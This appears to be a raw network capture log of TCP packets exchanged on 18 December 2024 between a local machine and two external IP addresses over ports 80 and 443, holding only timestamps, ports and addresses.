Dec 18, 2024 09:07:19.235465050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.235510111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.236085892 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.236119032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.236144066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.236154079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.236161947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.236208916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.236680984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.236732960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.236841917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.236876011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.236896992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.236927986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.237513065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.237567902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.237582922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.237617970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.237636089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.237658978 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.238413095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.238466978 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.238481045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.238502026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.238527060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.238543987 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.239253998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.239309072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.239518881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.239583015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.239605904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.239639997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.239659071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.239681005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.240389109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.240442991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.240492105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.240525961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.240545034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.240565062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.241274118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.241328955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.241343975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.241378069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.241398096 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.241420984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.242147923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.242199898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.242203951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.242233992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.242252111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.242276907 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.243014097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.243069887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.243103981 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.243138075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.243158102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.243175983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.244066000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.244101048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.244122028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.244142056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.244143009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.244194984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.245032072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.245066881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.245093107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.245105982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.245110035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.245151997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.245620012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.245728970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.245740891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.245775938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.245793104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.245814085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.246479034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.246551991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.246601105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.246634960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.246655941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.246675968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.247396946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.247454882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.247487068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.247522116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.247543097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.247566938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.248235941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.248285055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.248286963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.248322964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.248339891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.248361111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.249123096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.249197960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.249232054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.249253035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.249275923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.250014067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.250112057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.250147104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.250171900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.250197887 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.250873089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.250941038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.408624887 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:19.408773899 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:19.409970999 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:19.410000086 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:19.411206961 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:19.412230015 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:19.412272930 CET	49715	443	192.168.2.8	104.21.23.76
Dec 18, 2024 09:07:19.412328005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.412405968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.412463903 CET	443	49715	104.21.23.76	192.168.2.8
Dec 18, 2024 09:07:19.412476063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.412516117 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.412564039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.412631035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.412664890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.412679911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.412679911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.412714958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.412724972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.412781000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.413433075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.413494110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.413573027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.413609028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.413629055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.413666010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425329924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425386906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425403118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425424099 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425442934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425472975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425544024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425579071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425606966 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425615072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425628901 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425671101 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425834894 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425884962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425890923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425920010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425939083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.425955057 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.425975084 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426012039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426012993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426050901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426071882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426095009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426340103 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426373005 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426389933 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426418066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426469088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426520109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426609039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426644087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426666975 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426677942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426687002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426712990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426728964 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426749945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426765919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426784992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426804066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426819086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426841974 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426855087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426867962 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426892996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426912069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426928043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.426935911 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.426980972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427452087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427488089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427530050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427530050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427541018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427576065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427592993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427612066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427630901 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427648067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427661896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427684069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427700043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427719116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427740097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427752972 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427759886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427788019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427805901 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427822113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.427834034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.427875042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428333998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428397894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428422928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428477049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428493023 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428513050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428535938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428549051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428556919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428585052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428596973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428632021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428860903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428895950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428917885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428941011 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.428951025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.428987026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429003954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429023027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429033995 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429058075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429073095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429111958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429410934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429465055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429466009 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429503918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429517984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429558039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429773092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429827929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429846048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429881096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.429898024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.429922104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.430104971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.430157900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.430159092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.430192947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.430208921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.430238008 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.431119919 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.431179047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.431242943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.431277037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.431296110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.431334972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.431960106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.432015896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.432034016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.432070017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.432089090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.432115078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.432693958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.432754993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.432934999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.433036089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.433037996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.433070898 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.433089018 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.433118105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.433765888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.433821917 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.433826923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.433857918 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.433868885 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.433906078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.434587955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.434647083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.434679031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.434714079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.434734106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.434757948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.437593937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.437654972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.437664986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.437700987 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.437714100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.437753916 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.437936068 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.437971115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.437994957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438008070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438030005 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438045979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438066006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438091040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438158989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438194036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438213110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438244104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438321114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438373089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438376904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438409090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.438430071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438460112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.438967943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.439026117 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.439053059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.439086914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.439110041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.439138889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.439840078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.439893961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.439902067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.439929008 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.439949989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.439985037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.440701962 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.440757990 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.440763950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.440793991 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.440804958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.440850973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.441560984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.441632986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.441652060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.441687107 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.441708088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.441746950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.442404032 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.442471981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.603570938 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.603688955 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.603699923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.603792906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.603811979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.603840113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.603856087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.603880882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.603909016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.603914976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:19.603938103 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:19.603955984 CET	49714	80	192.168.2.8	31.41.244.11
